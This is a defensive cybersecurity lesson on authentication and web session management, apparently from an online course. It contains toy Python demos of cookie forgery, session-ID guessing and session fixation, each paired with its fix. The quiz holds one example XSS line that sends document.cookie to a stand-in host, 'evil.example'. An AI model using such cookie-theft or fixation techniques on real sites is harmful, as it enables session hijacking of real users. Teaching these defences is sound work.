SyntaxPilot
Courses/Cybersecurity Fundamentals/Lesson 28
Video coming soonThis lesson’s video is being made

Start with the notes below; the video appears here as soon as it is on YouTube.

Cybersecurity Fundamentals · Lesson 28 of 90

Authentication fundamentals and session management

identification vs authentication vs authorizationauthentication factors (knowledge, possession, inherence)sessionsession IDsession cookiecookie attributes (Secure, HttpOnly, SameSite, Domain, Path, Expires)session fixationsession timeout (idle and absolute)session invalidation on logoutre-authentication for sensitive actions

These are the notes for Cybersecurity Fundamentals (defensive), episode 28, the first episode of the identity block. Today we invent, one problem at a time, how a website knows who you are and keeps remembering it: identification, authentication and authorization, the three authentication factors (knowledge, possession, inherence), why HTTP is stateless, cookies, the session, the session ID and the session cookie, cookie attributes (Secure, HttpOnly, SameSite, Domain, Path, Expires / Max-Age), session fixation, idle and absolute session timeouts, session invalidation on logout, and re-authentication for sensitive actions. Every term is explained the first time it appears, and the Glossary at the end defines them all again.

Priya, every password, session ID, shop and URL here are made up, and everything runs locally on toy data: a few lines of Python that act like a tiny web server. Every code sample runs with Python 3.13 (standard library only); outputs are real, copied from actual runs. Session IDs are random, so they change on every run; the results do not.

The problems you'll solve

Problem Idea it teaches
"Who are you? Prove it. What may you do?" Identification, authentication (authN), authorization (authZ), 401 vs 403
What counts as proof? Factors: knowledge, possession, inherence; multi-factor authentication
The site forgets Priya on the next click HTTP is stateless
A cookie that says user=priya Cookies, never trust the client
Remember her safely Session, session ID, session cookie, server-side session store
Counting session IDs Predictable IDs vs CSPRNG IDs, entropy
The ID travels on every request Cookie attributes: Secure, HttpOnly, SameSite, Domain, Path, Expires / Max-Age
An ID planted before login Session fixation, regenerate the ID at login
A session left open in a cyber cafe Idle (inactivity) and absolute timeouts
Logout that only clears the browser Session invalidation on the server, log out everywhere
An unlocked laptop changes the email Re-authentication (step-up) for sensitive actions

Problem 1: three questions that sound alike

The office reception desk

Priya walks into an office building.

  1. At reception she says "I'm Priya Nair". Saying who you are is identification. It is a claim, not proof: anyone can say a name.
  2. The guard asks for her ID card and checks the photo. Proving the claim is authentication (often shortened to authN).
  3. She gets a badge that opens floor 3 but not the server room. Deciding what an authenticated person may do is authorization (authZ).

Three different questions: who are you?, prove it, and what may you do?

The same three in software

Step In an office On a website Secret?
Identification "I'm Priya Nair" Typing the username priya No
Authentication Showing the ID card Password, security key, fingerprint Yes, the proof is
Authorization The badge opens floor 3 only May priya view order #5521? May she open /admin? Policy

Authentication happens once at login (and again for sensitive actions); authorization is checked on every request. Episode 30 is all about authorization.

HTTP has two status codes for this (episode 21):

  • 401 Unauthorized really means unauthenticated: "I don't know who you are; please authenticate."
  • 403 Forbidden means "I know who you are, but you're not allowed to do this."

Authentication factors: three kinds of proof

An ATM is the classic example:

Factor Plain meaning At an ATM On a website
Knowledge Something you know Your 4-digit PIN Password, PIN, secret question
Possession Something you have Your debit card Phone with an authenticator app, security key, smart card
Inherence Something you are (biometrics) A fingerprint reader Fingerprint, face, voice

Using two or more different kinds of factor is multi-factor authentication (MFA); with exactly two it's two-factor authentication (2FA). A password plus a secret question is still one factor (both are knowledge). MFA is the whole topic of episode 29.

Problem 2: the site forgets you

Priya logs in to an online shop. The password is correct. One second later she clicks My Orders, and the shop asks "who are you?"

Demo 1: a server with no memory

# A toy web server with no memory: every request is handled on its own (HTTP is stateless)
USERS = {"priya": "mango#Tree92"}

def handle(request):
    if request["path"] == "/login":
        ok = USERS.get(request["user"]) == request["password"]
        return "200 welcome, priya" if ok else "401 wrong password"
    if request["path"] == "/orders":
        return "401 who are you? please log in"

print(handle({"path": "/login", "user": "priya", "password": "mango#Tree92"}))
print(handle({"path": "/orders"}))          # the very next click

Output:

200 welcome, priya
401 who are you? please log in

Why? HTTP is stateless (episode 21): every request stands alone, and the protocol keeps no memory between them. Sending the password with every click would work, but then the password travels and gets logged and cached everywhere. We need something the browser can send instead.

A cookie is a small piece of text a server asks the browser to store (with a Set-Cookie response header) and to send back on every later request to that site (in a Cookie request header).

# Obvious fix: after login, give the browser a cookie that says who it is
def login(user):
    return {"Set-Cookie": f"user={user}"}          # the browser sends this back on every request

def orders(cookie):
    user = cookie.split("=")[1]                     # trust whatever the cookie says
    return f"200 orders of {user}"

cookie = login("priya")["Set-Cookie"]
print("Priya's cookie:", cookie)
print(orders(cookie))

forged = "user=admin"                               # cookies live on the user's machine: edit it
print(orders(forged))

Output:

Priya's cookie: user=priya
200 orders of priya
200 orders of admin

Why it fails: cookies live on the user's own machine. Anyone can edit them in the browser's developer tools (or send any header they like with a script). Never trust the client: anything the browser sends can be faked.

The fix: a session and a session ID

Think of the cloakroom at a wedding hall:

Wedding hall Website
Your jacket stays inside with the attendant The session: a record the server keeps (who you are, when you logged in, ...)
You get token number 47; the number says nothing about you The session ID: a random, meaningless label for that record
Show the token, get the jacket The session cookie carries the ID on every request; the server looks it up

Editing the token doesn't change whose jacket it is: the server holds the truth. The place the server keeps sessions is a session store (memory, a database, or a cache like Redis).

Demo 3: guessable vs random session IDs

import secrets
SESSIONS = {}                                       # server-side memory: session ID -> who it belongs to
next_id = 1000

def login(user, random_ids):
    global next_id
    if random_ids:
        sid = secrets.token_urlsafe(32)             # 32 random bytes from a CSPRNG = 256 bits
    else:
        next_id += 1; sid = str(next_id)            # the obvious way: count up
    SESSIONS[sid] = user
    return sid

for random_ids in (False, True):
    priya = login("priya", random_ids)
    mine = login("attacker", random_ids)
    guess = str(int(mine) - 1) if mine.isdigit() else secrets.token_urlsafe(32)
    print(f"random={random_ids}: attacker got {mine[:12]}, guesses {guess[:12]} ->",
          SESSIONS.get(guess, "no such session"))

Output (the random IDs differ on every run):

random=False: attacker got 1002, guesses 1001 -> priya
random=True: attacker got cqfxgNBNEC0U, guesses d4WXYTY_1CyU -> no such session

Counting IDs are predictable: the attacker's own ID tells them the neighbour's. Random IDs come from a CSPRNG (cryptographically secure pseudo-random number generator, episode 10); Python's secrets module is one. token_urlsafe(32) gives 32 random bytes = 256 bits of entropy (unpredictability), written in URL-safe Base64 as 43 characters. NIST SP 800-63B-4 asks for session secrets of at least 64 bits from an approved random generator; 128 bits or more is a comfortable choice. A session ID must never contain the username, an email, a timestamp or anything meaningful.

The session ID is now the key to Priya's account, so the cookie that carries it needs protection. Cookies have settings called attributes:

Attribute What it does Why it matters
Secure The browser sends the cookie only over HTTPS On plain HTTP anyone on the Wi-Fi could read it (episode 22). NIST: session cookies SHALL be HTTPS-only
HttpOnly JavaScript on the page cannot read it (document.cookie doesn't show it) An injected script (cross-site scripting, XSS, episode 40) can't steal the ID. NIST: SHOULD be set
SameSite=Strict Never sent when another site starts the request Strongest; following a link from email to the site starts logged out
SameSite=Lax Sent on top-level navigation (clicking a normal link), not on other cross-site requests Good default; blocks most CSRF (cross-site request forgery, episode 42)
SameSite=None Always sent, even cross-site; then Secure is required Only for real cross-site uses (embedded widgets)
Domain Which hosts get the cookie. Omit it → only this exact host. Domain=example.com → every subdomain too A forgotten test.example.com would receive the session
Path Which URL paths get the cookie A convenience, not a security boundary
Expires / Max-Age When the browser deletes the cookie (a date, or seconds from now). Without either, it's deleted when the browser closes The browser is the client: the server must enforce its own timeouts (NIST: cookie expiry SHALL NOT be relied on)
from http.cookies import SimpleCookie
import secrets

c = SimpleCookie()
c["sid"] = secrets.token_urlsafe(32)
c["sid"]["secure"] = True          # only ever sent over HTTPS
c["sid"]["httponly"] = True        # JavaScript cannot read it (document.cookie)
c["sid"]["samesite"] = "Lax"       # not sent on most requests started by other sites
c["sid"]["path"] = "/"             # which URL paths get the cookie
c["sid"]["max-age"] = 1800         # the browser deletes it after 30 minutes
# no "domain": only this exact host gets it, not every subdomain
print(c.output())

Output:

Set-Cookie: sid=bsQgDzwE_TEMv9EU86ZGHqcout2t8H0VcBHPy3v7oiM; HttpOnly; Max-Age=1800; Path=/; SameSite=Lax; Secure

That is exactly what a server sends after login. A good default for a session cookie: Secure; HttpOnly; SameSite=Lax (or Strict), Path=/, no Domain. The cookie name prefix __Host- (e.g. __Host-sid) makes the browser enforce Secure, Path=/ and no Domain (episode 42).

Problem 4: session fixation

Many sites give every visitor an anonymous session before login (for a shopping cart, say). An attacker can abuse that:

  1. The attacker visits the shop and gets an anonymous session ID, say 47.
  2. They get Priya to use that same ID: a link that carries it (shop.example/?sid=47, if the site accepts IDs from the URL), or a cookie set from a compromised sibling subdomain.
  3. Priya logs in. If the server simply marks session 47 as "logged in as priya"...
  4. ...the attacker, who also holds 47, is now inside her account.

This is session fixation: the attacker fixes the session ID in advance, instead of stealing it afterwards.

Demo 5: the attack, and the fix

import secrets
SESSIONS = {}
def new_session(): sid = secrets.token_urlsafe(8); SESSIONS[sid] = None; return sid

def login(sid, user, regenerate):
    if regenerate:                                  # the fix: a brand-new ID at login
        del SESSIONS[sid]; sid = new_session()
    SESSIONS[sid] = user                            # mark this session as logged in
    return sid

for regenerate in (False, True):
    planted = new_session()                         # 1. attacker gets a fresh, anonymous session ID
    # 2. ...and tricks Priya into using it, e.g. a link like shop.example/?sid=<planted>
    priya_sid = login(planted, "priya", regenerate) # 3. Priya logs in with that session
    # 4. the attacker still holds the planted ID:
    print(f"regenerate={regenerate}: Priya's ID {priya_sid}, attacker's ID {planted} ->",
          SESSIONS.get(planted, "expired"))

Output:

regenerate=False: Priya's ID X3KsHGZP_u0, attacker's ID X3KsHGZP_u0 -> priya
regenerate=True: Priya's ID 1AkwXZQQ2gc, attacker's ID 15i2X0nZS6g -> expired

(token_urlsafe(8) is used here only to keep the printout short; real IDs should be 16+ bytes.)

The rule: whenever the privilege level changes (login, switching to an admin role, after re-authentication), issue a brand-new session ID and destroy the old one. Most web frameworks have a single call that does this; look for it in your framework's session documentation and make sure your login code uses it. And never accept session IDs from the URL.

Problem 5: sessions that never end

Priya logs in at a cyber cafe, walks away and forgets to log out. An hour later the next customer is still logged in as her. A stolen session ID that works forever is just as bad.

Two clocks on every session

Timeout Plain meaning Resets?
Idle timeout (inactivity timeout) Ends the session after N minutes with no activity Yes, every request resets it
Absolute timeout Ends the session N hours after login, no matter what Never, so even a stolen ID stops working

How long depends on the risk. NIST SP 800-63B-4 sets these for its authenticator assurance levels (AAL), its grades of how strong a login is:

Level Idle Absolute
AAL1 not specified re-authenticate at least once per 30 days (SHOULD)
AAL2 30 minutes at least once per 12 hours
AAL3 15 minutes at least once per 12 hours

A bank uses short timeouts; a music app can use long ones. Either way, the server keeps the clocks: NIST says cookie expiration "SHALL NOT be relied upon to enforce session timeouts".

Demo 6: both clocks

IDLE, ABSOLUTE = 30 * 60, 12 * 3600                 # 30 minutes idle, 12 hours total (NIST AAL2)
session = {"created": 0, "last_seen": 0}            # times in seconds since login

def check(now):
    if now - session["created"] > ABSOLUTE: return "expired (absolute): log in again"
    if now - session["last_seen"] > IDLE:   return "expired (idle): log in again"
    session["last_seen"] = now                      # activity resets the idle timer
    return "ok"

for label, minutes in [("click", 10), ("click", 35), ("back from lunch", 80)]:
    print(f"{minutes:4} min  {label:17} {check(minutes * 60)}")

session.update(created=0, last_seen=0)
for minutes in range(20, 13 * 60, 20):               # active every 20 minutes, all day long
    result = check(minutes * 60)
    if result != "ok": print(f"{minutes:4} min  active all day     {result}"); break

Output:

  10 min  click             ok
  35 min  click             ok
  80 min  back from lunch   expired (idle): log in again
 740 min  active all day     expired (absolute): log in again

At 35 minutes it's still OK because the click at 10 reset the idle clock. At 80 there were 45 minutes since the last click: idle expiry. The all-day session ends at 740 minutes, the first check after 12 hours (720 minutes), even though Priya was active the whole time. "Expired" means the server deletes the session and asks for a fresh login; good sites warn a minute before so nobody loses a half-filled form.

Problem 6: logout that really logs out, and re-authentication

Demo 7: browser-only logout vs server-side logout

Say an attacker copied Priya's cookie earlier (malware, a shared computer, a proxy or log file).

import secrets
SESSIONS = {}
def login(user): sid = secrets.token_urlsafe(16); SESSIONS[sid] = user; return sid
def orders(sid): return f"200 orders of {SESSIONS[sid]}" if sid in SESSIONS else "401 log in"

for server_side in (False, True):
    browser = {"sid": login("priya")}
    stolen = browser["sid"]                 # copied earlier: malware, a shared PC, a proxy log
    browser.clear()                         # logout step 1: the browser forgets the cookie
    if server_side:
        SESSIONS.pop(stolen, None)          # logout step 2: the SERVER deletes the session
    print(f"server_side={server_side}: browser has {browser}, stolen cookie ->", orders(stolen))

Output:

server_side=False: browser has {}, stolen cookie -> 200 orders of priya
server_side=True: browser has {}, stolen cookie -> 401 log in

Session invalidation: on logout, delete the session record on the server, then tell the browser to delete the cookie (send it again with Max-Age=0). NIST: session secrets SHALL be erased or invalidated when the subscriber logs out. Also end every other session when the password changes ("log out everywhere"), and give users a list of active sessions they can end.

Re-authentication for sensitive actions

At a bank, checking your balance needs nothing extra, but a big withdrawal needs a fresh signature. On a website, sensitive actions include changing the email, password or phone number, adding a payout bank account, viewing full card details, and deleting the account. A valid session proves Priya logged in at some point; re-authentication (also called step-up authentication) proves she is here now.

Demo 8: a five-minute re-authentication window

import time
REAUTH_WINDOW = 5 * 60                       # sensitive actions need a login from the last 5 minutes
session = {"user": "priya", "auth_time": time.time() - 3 * 3600}   # logged in 3 hours ago

def change_email(new, password=None):
    if time.time() - session["auth_time"] > REAUTH_WINDOW:
        if password != "mango#Tree92":
            return "403 please enter your password again"
        session["auth_time"] = time.time()   # fresh proof: open the window again
    return f"200 email changed to {new}"

print("view orders:  200 (no password needed)")
print("change email:", change_email("evil@example.com"))          # someone at her open laptop
print("change email:", change_email("priya.n@example.com", "mango#Tree92"))

Output:

view orders:  200 (no password needed)
change email: 403 please enter your password again
change email: 200 email changed to priya.n@example.com

(The toy compares the password directly to stay short; a real server checks a slow password hash, episode 14.) Also notify the old email address after such a change, and for the most sensitive actions ask for a second factor, not just the password.

The next problem

The session is now solid: random, locked down, regenerated at login, timed out and properly ended. But everything still begins with one password, and one day Priya types it into a fake login page from a phishing email (episode 6). One factor isn't enough: episode 29, MFA, passkeys and phishing-resistant authentication.

The whole chain

  1. Who / prove it / allowed? → identification, authentication, authorization.
  2. What counts as proof? → knowledge, possession, inherence.
  3. HTTP forgets; a user= cookie is forged → server-side session.
  4. Counted IDs are guessed → long random session IDs from a CSPRNG.
  5. The ID travels → Secure, HttpOnly, SameSite, Domain, Path, Expires/Max-Age.
  6. A planted ID → regenerate at login (no session fixation).
  7. Endless sessions → idle + absolute timeouts, enforced on the server.
  8. Fake logout, unlocked laptop → server-side invalidation and re-authentication.

...and you just invented session management.

Common mistakes (and what they print)

Mistake What you see Why it's wrong Fix
Cookie says who you are (user=priya) 200 orders of admin The client can edit cookies Server-side session + random ID
Counting session IDs guesses 1001 -> priya The next ID is predictable secrets.token_urlsafe(32)
Same session ID before and after login attacker's ID X3KsHGZP_u0 -> priya Session fixation Regenerate the ID at login
Logout only clears the browser cookie stolen cookie -> 200 orders of priya The session still exists Delete the session on the server
Looking up a missing session with [] KeyError: 'expired-id' (a crash, often a 500 error page) Expired or forged IDs are normal input SESSIONS.get(sid) and return 401
A typo in an attribute name http.cookies.CookieError: Invalid attribute 'samesit' Python only accepts known attribute names samesite
No Secure / HttpOnly Cookie sent over HTTP; readable via document.cookie Sniffing and XSS can steal it Set both, always
Domain=example.com on a session cookie Every subdomain receives the session A weak subdomain leaks it Omit Domain (or use __Host-)
Relying on cookie Max-Age for timeouts A copied cookie keeps working The browser is the client Server-side idle + absolute timeouts
Session ID in the URL IDs in logs, history, Referer headers, shared links URLs leak everywhere Cookies only

A tiny checker that reads (made-up) Set-Cookie headers and flags the mistakes from this episode.

# Priya's cookie auditor: checks (made-up) Set-Cookie headers against this episode's rules
HEADERS = {
    "shop.example":  "sid=Qm9xT2ZDaG9jb2xhdGVz-8kd93KfP0aLq; Secure; HttpOnly; SameSite=Lax; Path=/",
    "blog.example":  "session=1002; Path=/",
    "pay.example":   "sid=ZXhhbXBsZS1yYW5kb20taWQtMTIzNDU2; Secure; SameSite=None; Domain=example.com",
    "old.example":   "user=priya; Expires=Fri, 01 Jan 2038 00:00:00 GMT",
}
def audit(header):
    name_value, *attrs = [p.strip() for p in header.split(";")]
    name, value = name_value.split("=", 1)
    flags = {a.split("=")[0].lower(): (a.split("=", 1)[1] if "=" in a else True) for a in attrs}
    problems = []
    if "secure" not in flags:   problems.append("missing Secure")
    if "httponly" not in flags: problems.append("missing HttpOnly")
    if "samesite" not in flags: problems.append("no SameSite (browser default applies)")
    if "domain" in flags:       problems.append(f"Domain={flags['domain']} sends it to every subdomain")
    if value.isdigit() or len(value) < 22: problems.append("ID too short or guessable")
    if not any(c.isdigit() for c in value) and value.isalpha(): problems.append("value looks meaningful, not random")
    return problems or ["OK"]

for site, header in HEADERS.items():
    print(f"{site:13} {'; '.join(audit(header))}")

Output:

shop.example  OK
blog.example  missing Secure; missing HttpOnly; no SameSite (browser default applies); ID too short or guessable
pay.example   missing HttpOnly; Domain=example.com sends it to every subdomain
old.example   missing Secure; missing HttpOnly; no SameSite (browser default applies); ID too short or guessable; value looks meaningful, not random

Ideas to extend it: flag SameSite=None without Secure; warn about Expires dates years away on a session cookie; suggest the __Host- prefix when the rules allow it.

Practice

1. Log out everywhere. Give Priya three sessions (laptop, phone, and one a thief copied) and Neha one. Write logout_everywhere(user) that ends every session of that user, and only that user.

Solution
import secrets
SESSIONS = {}                                   # session ID -> user
def login(user): sid = secrets.token_urlsafe(16); SESSIONS[sid] = user; return sid
def logout_everywhere(user):
    for sid in [s for s, u in SESSIONS.items() if u == user]:
        del SESSIONS[sid]

laptop, phone, thief = login("priya"), login("priya"), login("priya")   # three sessions
other = login("neha")
logout_everywhere("priya")                      # e.g. after a password change
print("priya sessions left:", sum(u == "priya" for u in SESSIONS.values()))
print("neha still logged in:", other in SESSIONS)
priya sessions left: 0
neha still logged in: True

The list comprehension makes a copy of the matching IDs first: deleting from a dictionary while looping over it raises RuntimeError: dictionary changed size during iteration.

2. AAL3 timeouts. Change Demo 6 to NIST AAL3's 15-minute idle timeout. What happens to clicks at 10, 24 and 40 minutes?

Solution
IDLE, ABSOLUTE = 15 * 60, 12 * 3600             # AAL3: 15 minutes idle, 12 hours total
session = {"created": 0, "last_seen": 0}
def check(now):
    if now - session["created"] > ABSOLUTE: return "expired (absolute)"
    if now - session["last_seen"] > IDLE:   return "expired (idle)"
    session["last_seen"] = now; return "ok"
for minutes in (10, 24, 40):
    print(f"{minutes:3} min -> {check(minutes * 60)}")
 10 min -> ok
 24 min -> ok
 40 min -> expired (idle)

24 − 10 = 14 minutes (OK); 40 − 24 = 16 minutes, more than 15: idle expiry.

3. How long is a session ID? Print token_urlsafe(n) for 8, 16 and 32 bytes with their size in bits. Which meet NIST's 64-bit minimum?

Solution
import secrets
for n in (8, 16, 32):
    sid = secrets.token_urlsafe(n)
    print(f"{n:2} bytes = {n * 8:3} bits -> {len(sid):2} characters: {sid}")
 8 bytes =  64 bits -> 11 characters: 3k7yCbKMWKU
16 bytes = 128 bits -> 22 characters: 1P4ZSCrE6sJ4CDyjQmgNCw
32 bytes = 256 bits -> 43 characters: 0IdP3eYHRo0eATP_kszeOTV84frJO9mgEaaiY5Z2Qik

All three meet the 64-bit minimum; 8 bytes is exactly the minimum, so 16 or 32 bytes leaves a comfortable margin. Each Base64 character carries 6 bits, so 32 bytes (256 bits) needs 43 characters.

4. Spot the flaw. A site sets Set-Cookie: sid=8f3a...; Secure; SameSite=Lax and keeps the same sid before and after login. Name two problems.

Solution

(a) No HttpOnly: an XSS script can read document.cookie and steal the ID. (b) The ID isn't regenerated at login: session fixation is possible if an attacker can plant the pre-login ID.

5. Which status code? (a) A request to /orders with no session cookie. (b) Neha, logged in, asks for Priya's order. (c) A request with an expired session ID.

Solution

(a) 401: not authenticated. (b) 403 (or 404, to avoid revealing that the order exists): authenticated but not authorized. (c) 401: the session no longer exists, so she must authenticate again.

Quick quiz

An attacker injects this script into a page of the shop (cross-site scripting): send("evil.example", document.cookie). Which cookie attribute keeps the session ID safe?

  • A: Secure
  • B: HttpOnly
  • C: Path=/
  • D: Max-Age=1800
Answer

B, HttpOnly. It hides the cookie from JavaScript, so document.cookie does not include it. Secure only stops the cookie travelling over plain HTTP; Path and Max-Age don't hide it from scripts. (HttpOnly limits the damage of XSS, but doesn't fix XSS itself: the script can still act as Priya while she has the page open. Episode 40 fixes the root cause.)

Interview questions

  1. Identification vs authentication vs authorization? Identification is claiming an identity (a username); authentication is proving it (password, key, biometric); authorization is deciding what that identity may do, checked on every request.
  2. What are the authentication factors? Knowledge (something you know), possession (something you have), inherence (something you are). MFA combines different kinds.
  3. 401 vs 403? 401: not authenticated (who are you?). 403: authenticated but not permitted.
  4. Why do web apps need sessions? HTTP is stateless; a session is server-side state linked to the browser by a random session ID, so the user doesn't send credentials on every request.
  5. What makes a good session ID? Generated by a CSPRNG, at least 64 bits of entropy (128+ in practice), meaningless (no user data), unique, and never exposed in URLs.
  6. Explain the cookie attributes for a session cookie. Secure (HTTPS only), HttpOnly (not readable by JavaScript), SameSite (Strict/Lax limits cross-site sending, None needs Secure), Domain (omit to scope to one host), Path (paths, not a security boundary), Expires/Max-Age (browser deletion time; not a substitute for server timeouts).
  7. What is session fixation and how do you prevent it? The attacker makes the victim use an ID the attacker knows, then waits for the victim to log in. Prevent by regenerating the session ID on login and privilege changes, and by not accepting IDs from URLs.
  8. Idle vs absolute timeout? Idle ends a session after inactivity and resets on each request; absolute ends it a fixed time after login regardless of activity. NIST AAL2: 30 minutes idle, 12 hours absolute.
  9. How should logout work? Invalidate the session on the server, clear the cookie, and offer "log out everywhere"; also invalidate other sessions on password change.
  10. What is re-authentication / step-up authentication? Asking for fresh proof (password or second factor) before sensitive actions, even inside a valid session.

Glossary

Term Meaning in plain words Example
Identification Claiming who you are; not secret Typing the username priya
Authentication (authN) Proving the claim Password, security key, fingerprint
Authorization (authZ) Deciding what an authenticated user may do May Priya view order #5521?
401 Unauthorized HTTP status: not authenticated 401 who are you? please log in
403 Forbidden HTTP status: authenticated but not allowed 403 please enter your password again
Authentication factor A kind of proof Knowledge, possession, inherence
Knowledge factor Something you know Password, PIN
Possession factor Something you have Phone, debit card, security key
Inherence factor / biometrics Something you are Fingerprint, face
MFA / 2FA Using two or more different kinds of factor Card + PIN at an ATM
Stateless (HTTP) Each request stands alone; no memory between them Demo 1 forgets Priya
Cookie Small text a site stores in the browser and gets back on each request user=priya
Set-Cookie / Cookie Response header that stores a cookie / request header that sends it back Demo 4's output
Never trust the client Anything the browser sends can be faked user=admin
Session A server-side record of a logged-in user SESSIONS[sid] = "priya"
Session ID A random, meaningless label for a session cqfxgNBNEC0U...
Session cookie The cookie that carries the session ID sid=...
Session store Where the server keeps sessions A dictionary, a database, Redis
CSPRNG Cryptographically secure random number generator (episode 10) secrets.token_urlsafe
Entropy How unpredictable a value is, in bits 32 random bytes = 256 bits
Cookie attribute A setting on a cookie that controls how the browser handles it Secure, HttpOnly
Secure Send the cookie only over HTTPS Not on café Wi-Fi over HTTP
HttpOnly JavaScript can't read the cookie Hidden from document.cookie
SameSite Whether the cookie goes with requests started by other sites Strict, Lax, None
XSS (cross-site scripting) An attacker's script running inside a site's page (episode 40) send(..., document.cookie)
CSRF (cross-site request forgery) Another site making your browser send a request with your cookies (episode 42) Blocked by SameSite
Domain (attribute) Which hosts get the cookie Domain=example.com = all subdomains
Path (attribute) Which URL paths get the cookie Path=/
Expires / Max-Age When the browser deletes the cookie Max-Age=1800 = 30 minutes
__Host- prefix A cookie name prefix that forces Secure, Path=/ and no Domain __Host-sid
Session fixation Making the victim use a session ID the attacker already knows Demo 5
Session regeneration Issuing a new session ID at login and destroying the old one regenerate=True
Idle (inactivity) timeout Ends a session after a period with no activity 30 minutes
Absolute timeout Ends a session a fixed time after login 12 hours
AAL (authenticator assurance level) NIST SP 800-63B's grades of login strength AAL1, AAL2, AAL3
NIST SP 800-63B The US guideline on authentication and session management Source of the timeout numbers
Session invalidation Deleting the session on the server so the ID stops working Logout in Demo 7
Log out everywhere Ending all of a user's sessions Practice 1
Sensitive action An action with high impact if misused Changing email, password or payout account
Re-authentication / step-up Asking for fresh proof before a sensitive action Demo 8

Summary

  • Identification claims, authentication proves, authorization decides; 401 vs 403.
  • Proof comes in three factors: knowledge, possession, inherence; combining kinds is MFA.
  • HTTP is stateless, and a cookie that says who you are can be forged. Keep a server-side session, found by a long random session ID from a CSPRNG (NIST: at least 64 bits).
  • Lock the session cookie: Secure, HttpOnly, SameSite=Lax/Strict, Path=/, no Domain; expiry is not a timeout.
  • Regenerate the session ID at login to stop session fixation; never put IDs in URLs.
  • Enforce idle and absolute timeouts on the server (NIST AAL2: 30 minutes / 12 hours; AAL3: 15 minutes / 12 hours).
  • Logout deletes the session on the server; offer log out everywhere; ask for re-authentication before sensitive actions.

Next episode: MFA, passkeys and phishing-resistant authentication: OTP, HOTP, TOTP, SMS weaknesses, SIM swapping, MFA fatigue, number matching, adversary-in-the-middle phishing, FIDO2, WebAuthn, passkeys, recovery codes and biometrics.

Sources: NIST SP 800-63B-4, "Authenticator Assurance Levels" (sec. 2.1.3, 2.2.3, 2.3.3) and "Session Management" (ch. 5), pages.nist.gov/800-63-4. Code outputs from Python 3.13. Fetched 4 Nov 2026.